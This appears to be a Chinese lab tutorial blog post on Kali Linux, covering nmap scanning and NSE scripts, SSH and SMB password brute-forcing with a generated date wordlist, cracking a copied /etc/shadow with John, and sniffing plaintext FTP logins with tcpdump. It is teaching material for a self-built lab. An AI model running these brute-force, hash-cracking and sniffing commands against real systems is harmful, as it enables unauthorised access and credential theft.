• kali操作系统--namp扫描,破解密码,抓包


    kali

    • 实际上它就是一个预安装了很多安全工具的Debian Linux

    • 环境准备

      • 一台kali操作系统的linux主机

    nmap扫描

    • 一般来说扫描是攻击的前奏。
    • 扫描可以识别目标对象是什么系统,开放了哪些服务。
    • 获知具体的服务软件及其版本号,可以使得攻击的成功率大大提升。
    • 扫描可以检测潜在的风险,也可以寻找攻击目标、收集信息、找到漏洞
    • windows下,扫描可以使用xscan / superscan
    • Linux,扫描可以采用nmap
    • 吾爱破解:https://www.52pojie.cn/
    • 中国黑客团队论坛:https://www.cnhackteam.org/
    • 俄罗斯论坛:https://rutracker.org/
    ┌──(kali㉿kali)-[~]
    └─$ nmap
    # -sT: TCP扫描。
    # -U: 扫描目标的UDP端口。
    # -sP:ping扫描
    # -A:对目标系统全面分析
    
    # 扫描整个网段,哪机器可以ping通
    ┌──(kali㉿kali)-[~]
    └─$ nmap -sP 192.168.88.0/24
    
    # 扫描192.168.88.11开放了哪些TCP端口
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -sT 192.168.88.11
    
    # 扫描192.168.88.11开放了哪些UDP端口。非常耗时!
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -sU 192.168.88.11
    
    # 全面扫描192.168.88.11系统信息
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -A 192.168.88.11 
    
    • 使用脚本扫描
    # 通过脚本扫描目标主机的ftp服务
    # 在目标主机上安装vsftpd服务
    [root@node1 ~]# yum install -y vsftpd
    [root@node1 ~]# systemctl start vsftpd
    
    # 在kali主机上查看有哪些脚本
    ┌──(kali㉿kali)-[~]
    └─$ ls /usr/share/nmap/scripts/
    
    # 扫描ftp服务是否支持匿名访问。ftp控制连接端口号是21
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap --script=ftp-anon.nse 192.168.88.11 -p 21
    21/tcp open  ftp
    | ftp-anon: Anonymous FTP login allowed   # 允许匿名访问
    
    # 扫描ftp相关信息,如版本号、带宽限制等
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap --script=ftp-syst.nse 192.168.88.11 -p 21
    
    # 扫描ftp后门漏洞
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap --script=ftp-vsftpd-backdoor 192.168.88.11 -p 21
    
    • 扫描口令
    # 通过ssh协议,使用nmap自带的密码本扫描远程主机的用户名和密码
    # 在目标主机上创建名为admin的用户,密码为123456
    [root@node1 ~]# useradd admin
    [root@node1 ~]# echo 123456 | passwd --stdin admin
    
    # 在kali上扫描弱密码
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap --script=ssh-brute.nse 192.168.88.11 -p 22
    
    # 通过ssh协议,使用nmap以及自己的密码本扫描远程主机的密码
    # 1. 创建用户名文件
    ┌──(kali㉿kali)-[~]
    └─$ sudo echo root > /tmp/users.txt
                                                            
    ┌──(kali㉿kali)-[~]
    └─$ cat /tmp/users.txt 
    root
    
    [root@node1 ~]# echo 19910101 | passwd --stdin root
    # 2. 生成1990-01-01到2020-12-31之间的所月日期
    # 在centos7上,创建以下文件
    [root@cent7 ~]# vim mydate.py
    from datetime import datetime, timedelta
    
    d1 = datetime(1989, 12, 31)
    d2 = datetime(2021, 1, 1)
    dt = timedelta(days=1)
    
    with open('/tmp/mima.txt', 'w') as f:
        while d1 < d2:
            d1 += dt
            f.write("%s\n" % d1.strftime('%Y%m%d'))
    [root@cent7 ~]# python mydate.py
    [root@cent7 ~]# scp /tmp/mima.txt kali@192.168.88.40:/tmp/
    
    # 3. 使用自己的密码本破解密码
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap --script=ssh-brute.nse --script-args userdb=/tmp/users.txt,passdb=/tmp/mima.txt 192.168.88.11 -p 22
    
    # 4. 目标主机将会记录所有的登陆事件
    [root@node1 ~]# vim /var/log/secure
    # 查看最近的登陆失败事件
    [root@node1 ~]# lastb
    # 查看最近的登陆成功事件
    [root@node1 ~]# last
    
    • 扫描windows口令
    [root@zzgrhel8 ~]# cat /tmp/winuser.txt    # windows用户名
    administrator
    admin
    # 通过samba服务扫描密码
    [root@zzgrhel8 ~]# nmap --script=smb-brute.nse --script-args userdb=/tmp/winuser.txt,passdb=/tmp/mima 172.40.0.151
    

    使用john破解密码

    • 在线破解哈希值的网站:https://cmd5.com/
    • 哈希是算法,英文hash的音译,包括md5、sha等
      • 哈希算法是一种单向加密的算法,也就是将原始数据生成一串“乱码”
      • 只能通过原始数据,生成这串“乱码”,但是不能通过“乱码”回推出原始数据
      • 相同的原始数据,生成的乱码是相同的。
    • kali系统提供了一个名为john的工具,可用于密码破解
    [root@node1 ~]# echo 123456 | passwd --stdin root
    [root@node1 ~]# useradd tom
    [root@node1 ~]# echo abc123 | passwd --stdin tom
    [root@node1 ~]# useradd jerry
    [root@node1 ~]# echo 123123 | passwd --stdin jerry
    [root@node1 ~]# scp /etc/shadow kali@192.168.88.40:/home/kali/
    
    # 字典暴力破解,密码本是/usr/share/john/password.lst
    ┌──(kali㉿kali)-[~]
    └─$ sudo john shadow  
    
    # 直接显示破解的密码,不显示其他额外信息
    ┌──(kali㉿kali)-[~]
    └─$ sudo john --show shadow                
    root:123456:18912:0:99999:7:::
    tom:abc123:18912:0:99999:7:::
    jerry:123123:18912:0:99999:7:::
    
    
    # 字典暴力破解,指定密码本文件
    ┌──(kali㉿kali)-[~]
    └─$ sudo john --wordlist=/tmp/mima.txt shadow
    

    抓包

    • 传输的各种数据,在网络中都是一个个的数据包
    ┌──(kali㉿kali)-[~]
    └─$ sudo tcpdump
    # -i:指定抓取哪块网卡进入的数据包
    # -A:转换为ASCII码,使得可读
    # -w:抓包写入文件
    # -r:从文件中读取抓包信息
    # 抓包时可以过滤要抓哪些包
    # 使用host过滤主机,使用net过滤网段,使用port过滤端口... ...
    
    # 1. 抓包:抓取eth0上进出的、与192.168.88.11有关的、涉及TCP21端口的数据包。以下命令执行后,打开新终端。
    ┌──(kali㉿kali)-[~]
    └─$ sudo tcpdump -i eth0 -A host 192.168.88.11 and tcp port 21
    
    # 2. 在新终端登陆ftp
    ┌──(kali㉿kali)-[~]
    └─$ ftp 192.168.88.11
    Connected to 192.168.88.11.
    220 (vsFTPd 3.0.2)
    Name (192.168.88.11:kali): tom   # 用户名
    331 Please specify the password.
    Password:abc123   # 此处是tom的密码
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> exit    # 退出
    221 Goodbye.
    
    # 3.在tcpdump终端可以看到明文的用户名和密码
    
    
    
    # 1. 将抓到的包存入文件ftp.cap
    ┌──(kali㉿kali)-[~]
    └─$ sudo tcpdump -i eth0 -A -w ftp.cap host 192.168.88.11 and tcp port 21
    # 2. 在另一个终端访问ftp
    # 在新终端登陆ftp
    ┌──(kali㉿kali)-[~]
    └─$ ftp 192.168.88.11
    Connected to 192.168.88.11.
    220 (vsFTPd 3.0.2)
    Name (192.168.88.11:kali): tom   # 用户名
    331 Please specify the password.
    Password:abc123   # 此处是tom的密码
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> exit    # 退出
    221 Goodbye.
    
    # 3. 在抓包终端ctrl+c停止
    # 4. 读取抓到的包,并过滤
    ┌──(kali㉿kali)-[~]
    └─$ tcpdump -A -r ftp.cap | egrep 'USER|PASS' 
    
    • 图形工具:wireshark
    [root@zzgrhel8 ~]# yum install wireshark ftp
    

    选择抓哪块网卡进出的数据,然后点左上角的开始
    在这里插入图片描述

    抓到包后,点击左上角同样位置停止,查看数据
    在这里插入图片描述

  • 相关阅读:
    NFV网络云落地过程中若干问题分析
    效率出图!9款最好用的矢量图软件推荐
    华为OD机试 - 查找接口成功率最优时间段 - 回溯(Java 2023 B卷 100分)
    017_SSS_Semantic Image Synthesis via Diffusion Models
    python getopt模块的使用
    WEB自动化测试(6)—— 命令行运行Cypress
    R语言矩阵数据初始化:创建全为0的矩阵、全为NA的矩阵、使用byrow参数指定数据排布方式(按行、按列)、dim参数指定矩阵维度信息
    Redis(主从复制、哨兵模式、集群)概述及部署
    计算机体系结构第五次实验——Branch-Target Buffers(BTB)
    Preliminaries
  • 原文地址:https://blog.csdn.net/m0_52508197/article/details/127100085